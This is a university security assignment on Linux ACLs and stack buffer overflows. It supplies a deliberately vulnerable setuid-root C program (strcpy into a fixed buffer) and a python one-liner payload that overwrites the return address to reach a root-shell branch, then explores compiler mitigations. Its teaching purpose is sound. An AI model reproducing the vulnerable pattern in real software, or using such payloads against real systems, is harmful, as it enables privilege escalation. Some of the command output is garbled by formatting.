

# Operating Systems Security – Assignment 3

2024 Fall

## 1 Introduction to Access Control Lists (ACLs) in Linux

### Background<sup>1</sup>

The default Linux file permission system only associates a single group with a file. This poses some limitations as there are only three possibilities for the permissions that can be assigned to a file. In most situations this is sufficient, however, it can be a limitation. It also means that should a file need to be made accessible to various groups of users which already exist, it may be required to create a new group specifically to grant these rights.

Alternatives, such as Access Control Lists (ACLs) offer more granularity. The ACL functionality gives a user the ability to, among other things, grant file permissions on a user-by-user basis. So, for example, you can create a file that is readable by *joeuser* and *janeuser* but only writable by *janeuser*. ACLs provide a much higher degree of control over permissions than standard Unix groups. In addition, they are completely under the control of the owner of the file. You don't need the system administrator to create and maintain groups for you.

### Basic ACL Commands and Operations

The two main commands you will use to manipulate ACLs are **setfacl** and **getfacl**. For example, use the **setfacl** command to grant read-only access to user *joe* to the file named **hello.c**:

\$ **setfacl -m user:joe:r-- hello.c** and read-write access to user *jane* with:

\$ **setfacl -m user:jane:rw- hello.c**

After setting the ACL on the file, note that **ls** shows a '+' after the normal permission list:

\$ **ls -l hello.c**

```
-rw-r--r--+ 1 root root 0 Nov 25 10:00 hello.c
```

The '+' signifies that there is an ACL set for the file. You can then use **getfacl** to display the ACL for the file: \$ **getfacl hello.c**

```
# file: hello.c
```

```
# owner: root #
```

```
group: root
```

```
user::rwuser:joe:r
```

```
-
```

```
user:jane:rwgrou
```

```
p::r-mask::r-
```

```
other::r-The ACL
```

```
shows that user
```

```
joe has read
```

```
access and user
```

```
jane has
```

```
read/write
```

```
access. Once you
```

```
have an ACL set
```

```
on one file, you
```

```
can duplicate
```

```
this ACL for
```

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<sup>1</sup> <http://svn.gna.org/svn/thepilots/trunk/Bronze2Wkbk.odt>

other files by  
creating **rules.acl**  
\$ **getfacl hello.c** >  
**rules.acl** and use  
this file to set the  
ACL of other  
files:

\$ **setfacl -M rules.acl goodbye.c**

For information about ACL for more advanced configurations like user and group restrictions on directories, please refer one of the following websites<sup>234</sup>

## Objectives

Add five test users (**test1...test5**), two directories (**dir1,dir2**) and six files (**file1...file6**) to your (Kali) Linux system. Put three files into each of the directories and define the following rules.

- a) **test1** has read and write access to all directories and files.
- b) **test2** has only read access to all **dir1** and the files in there.
- c) **test3** has the same restrictions as user **test2**, but can write to one file and execute another file in **dir1**
- d) **test4** has only write access to **dir2** (can create new files) but cannot write to files initially stored in **dir2**.
- e) **test5** cannot list the directories **dir1** and **dir2** but can read, write and execute all files stored in them (assume he knows their exact storage paths).

Hand in the rules you must compose during this exercise.

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<sup>2</sup> <http://www.cs.indiana.edu/csg/FAQ/General/ACL.html>

<sup>3</sup> [https://wiki.archlinux.org/index.php/Access\\_Control\\_Lists](https://wiki.archlinux.org/index.php/Access_Control_Lists)

<sup>4</sup> <http://linuxcommando.blogspot.nl/2008/01/part-2-how-to-work-with-access-control.html>

## 2 Manually exploiting an application with a stack overflow

The most common buffer overflow is a stack overflow. In a stack overflow, a fixed size array (buffer) is filled using a function that does not validate the size of the array (such as **strcpy**, **gets**, or **scanf**) allowing malicious input to be written past the space allocated for the buffer.

### Prerequisites

Login to your (Kali) Linux system as a **non-root** user and compile the program **auth.c**:

```
#include <stdio.h>
#include <string.h>
#include <crypt.h>
#include <stdbool.h>
#include <libgen.h>
#include <stdlib.h> #include <unistd.h>

void checkpass(char* input) { char
    password[256]; char *hash1,
    *hash2; bool correct = false;

    strcpy(password,input); hash1 = crypt(password,"$6$1122334455667788$"); hash2 =
    "$6$1122334455667788$vDzpRFs0Pl/LOM4/WXWsmv5/eTYlh5xoA"
        "lMoPy512JiBLrAZTNzbL.uWv3ZI6XxFUYnFzRIX2kGXF9M133D4h1";

    if (strcmp(hash1,hash2) == 0) { correct = true;
    } else {
        printf("ERROR: password incorrect\n");
    }

    if (correct) { printf("Starting root shell\n"); setuid(0);
        setgid(0); system("/bin/sh");
    }
}

int main(int argc, char *argv[]) { if (argc < 2) {
    printf("syntax: %s <password>\n",basename(argv[0])); return 1;
    } checkpass(argv[1]); return
    0;
}
```

and change the owner and set the suid bit with the following commands:

```
$ gcc -O0 -Wall -g -o auth auth.c -lcrypt
```

```
$ sudo chown root:root auth
```

```
$ sudo chmod u+s auth
```

For this exercise it is convenient to configure your **gdb** debugger environment first. Put the following directives in the file **.gdbinit**, which is located in the home directory of your user (**\$HOME**). This can be done by executing the following commands: **\$ echo "set history save" >> \$HOME/.gdbinit**

```
$ echo "set confirm off" >> $HOME/.gdbinit
```

```
$ echo "set disassemble-next-line on" >> $HOME/.gdbinit
```

```
$ echo "set disassembly-flavor intel" >> $HOME/.gdbinit
```

The **gdb** debugger can be used to analyze each executed instruction of the executable and observe what is happening. To do this, there are two useful commands. The first one is *step instruction* (**si**), which executes the instruction and will step into a sub-function which is triggered by a *call* instruction (note, this also includes library functions). The second one *next instruction* (**ni**) executes regular instructions like **si**, however, a *call* instruction is executed as if it was one instruction (so it executes the whole sub-function at once).

To start the **gdb** debugger and let it halt on the entry point of the executable we set a breakpoint on the function *main()* and run **r** the program until it hits the breakpoint. Use the following command to start debugging:

**\$ gdb -q auth -ex "b main" -ex "r"**

```
Reading symbols from /home/google/test3/auth...done.
Breakpoint 1 at 0x400881: file auth.c, line 34. warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000

Breakpoint 1, main (argc=1, argv=0x7fffffe438) at auth.c:34
34      if (argc < 2) {
=> 0x0000000000400881 <main+15>:      83 7d fc 01      cmp     DWORD PTR [rbp-0x4],0x1
                                0x0000000000400885 <main+19>:      7f 28          jg      0x4008af <main+61>
```

**(gdb) ni**

```
0x0000000000400885      34      if (argc < 2) {

                                0x0000000000400881 <main+15>:      83 7d fc 01      cmp     DWORD PTR [rbp-0x4],0x1
=> 0x0000000000400885 <main+19>:      7f 28          jg      0x4008af <main+61>
```

**(gdb) ni**

```
35      printf("syntax: %s <password>\n",basename(argv[0]));
=> 0x0000000000400887 <main+21>:      48 8b 45 f0      mov     rax,QWORD PTR [rbp-0x10]
                                0x000000000040088b <main+25>:      48 8b 00      mov     rax,QWORD PTR [rax]
                                0x000000000040088e <main+28>:      48 89 c7      mov     rdi,rax
                                0x0000000000400891 <main+31>:      e8 fa fd ff ff  call    0x400690 <__xpg_basename@plt>
                                0x0000000000400896 <main+36>:      48 89 c6      mov     rsi,rax
                                0x0000000000400899 <main+39>:      bf 39 0a 40 00  mov     edi,0x400a39
                                0x000000000040089e <main+44>:      b8 00 00 00 00  mov     eax,0x0
                                0x00000000004008a3 <main+49>:      e8 a8 fd ff ff  call    0x400650 <printf@plt>
```

The command *examine memory x* shows the program memory, like the first 64 bytes of the stack.

**(gdb) x /64bx \$rsp**

On a 32-bit machine, use **\$esp** instead of **\$rsp**.

0x7fffffe340: 0x38	0xe4	0xff	0xff	0xff	0x7f	0x00	0x00
0x7fffffe348: 0x00	0x00	0x00	0x00	0x01	0x00	0x00	0x00
0x7fffffe350: 0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7fffffe358: 0xad	0x8e	0x83	0xf7	0xff	0x7f	0x00	0x00
0x7fffffe360: 0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7fffffe368: 0x38	0xe4	0xff	0xff	0xff	0x7f	0x00	0x00
0x7fffffe370: 0x00	0x00	0x00	0x00	0x01	0x00	0x00	0x00
0x7fffffe378: 0x72	0x08	0x40	0x00	0x00	0x00	0x00	0x00

It also allows you to print variables values, like the pointer **argv[0]** to the executable path string.

**(gdb) x /s argv[0]**

```
0x7fffffe6b3: "/home/google/test3/auth"
```

Or the total number of arguments, which is stored in **argc**. **(gdb) x /gx**

**&argc**

```
0x7fffffe34c: 0x0000000000000001
```

Note, that pressing **[Enter]** executes the last command in **gdb** another time.

## Objectives

- Explain in detail what the program **auth** does, which (internal and external) function calls it triggers and what type of libraries it uses. Explain how the cryptographic operations work and state if you can think of a way to recover the password. Note that mounting a password recovery attack is **not** part of the assignment.

- b) The following statement can be used to generate a large string. `$ python -c 'print "A"*512'`

Execute **auth** with the output of the previous statement as argument and observe the output.

```
$ ./auth $(python -c 'print "A"*512')
```

Load the program in the debugger with the same arguments.

```
$ gdb -q auth -ex "b main" -ex "r $(python -c 'print "A"*512')"
```

Start debugging and figure out what happens. Explain your analysis in detail and present the list of **gdb** commands you used to analyse the control flow of the executable.

### 3 Know what your compiler is doing

The specified control flow of an executable should not be altered when different compiler options are used. However, there might be differences in the unspecified behaviour. In this exercise we try to understand what can happen when a different compiler optimization level is applied.

#### Prerequisites

Recompile the program **auth** with two different optimization levels **-O0** and **-O3**. This time we let **gcc** generate verbose and assembly listings with in-lined source code.

```
$ gcc -g -Wa,-adhln=auth0.s -O0 -o auth0 auth.c -fverbose-asm -masm=intel -lcrypt
```

```
$ gcc -g -Wa,-adhln=auth3.s -O3 -o auth3 auth.c -fverbose-asm -masm=intel -lcrypt
```

 Note, that after re-compilation, you have to set the suid bit again.

```
$ sudo chown root:root auth0
```

```
$ sudo chmod u+s auth0
```

```
$ sudo chown root:root auth3
```

```
$ sudo chmod u+s auth3
```

#### Objectives

- Try to exploit *optimized* build (**auth3**) the same way as explained in Section 2 and report the output.
- Compare the assembly listings **auth0.s** and **auth3.s** and quote the piece of assembly that influences the buffer overflow behavior. Explain why you think that the compiler changed the control flow.

### 4 Exploit with use of Return Oriented Programming

The basics of Return Oriented Programming (ROP) is already handled in the Software Security lecture<sup>5</sup>. Furthermore, there are many well written tutorials<sup>6,7,8,9,10,11</sup> that demonstrate how to mount a buffer overflow attack by using ROP.

This exercise tries to refresh your memory and let you mount a ROP attack on the program **auth** as presented by Section 2 that was compiled with the optimization level **-O3** as performed in Section 5.

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<sup>5</sup> [http://www.cs.ru.nl/E.Poll/ss/slides/2 BufferOverflows.pdf](http://www.cs.ru.nl/E.Poll/ss/slides/2%20BufferOverflows.pdf)

<sup>6</sup> <http://insecure.org/stf/smashstack.html>

<sup>7</sup> <https://crypto.stanford.edu/~blynn/rop/>

<sup>8</sup> <http://www.scs.stanford.edu/brop/>

<sup>9</sup> <http://codearcana.com/posts/2013/05/28/introduction-to-return-oriented-programming-rop.html>

<sup>10</sup> <http://www.slideshare.net/saamilshah/dive-into-rop-a-quick-introduction-to-return-oriented-programming>

<sup>11</sup> <http://blog.osom.info/2012/04/return-oriented-programming-rop-exploit.html>

## Prerequisites

Compile the program **auth** with optimization level **-O3**:

```
$ gcc -O3 -Wall -g -o auth auth.c -lcrypt
```

```
$ sudo chown root:root auth
```

```
$ sudo chmod u+s auth
```

## Objectives

- a) View the assembly of the binary file with:

\$ **objdump -M intel -S auth** and locate the offset just after the statement

```
if (correct) { printf("Starting root shell\n");
```

- b) Use the previously recovered offset and put it in the following command by replacing the **#####** and execute the command line.

```
$ ./auth $(python -c 'import struct; print "A"*264+struct.pack("<Q",0x#####)')
```

- c) Explain what happened and report the output that **gdb** produced when you executed it in the debugger.

## 5 Protection mechanisms

In this exercise we explore some mitigation techniques that could be used to prevent previous attacks.

### Prerequisites

Recompile **auth** with both optimization levels (**-O0** and **-O3**), but this time we add the directive **-fstack-protector-all**.

```
$ gcc -fstack-protector-all -O0 -Wall -g -o auth0 auth.c -lcrypt
```

```
$ gcc -fstack-protector-all -O3 -Wall -g -o auth3 auth.c -lcrypt
```

### Objectives

- a) Try to mount any of the previous attacks on both examples (with **-fstack-protector-all**) and write down which combination work and which don't. For each trial that failed, investigate with the assembly listing of the **gdb** debugger why it did not work and explain which steps you took to verify this.
- b) Figure out if Address Space Layout Randomization (ASLR) is enabled on your (Kali) Linux machine and explain why it can/cannot help to mitigate the stack problem<sup>12</sup>.
- c) Does compilation with compiler flag **-fpie** protect against this attack?
- d) Generate a memory map from the previously compiled binaries with the following command.

```
$ objdump -p auth
```

Locate the **STACK** segment and verify if it is executable or not. Explain why this will help/not help against the previously mounted attacks.

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<sup>12</sup> [http://en.wikipedia.org/wiki/Address\\_space\\_layout\\_randomization](http://en.wikipedia.org/wiki/Address_space_layout_randomization)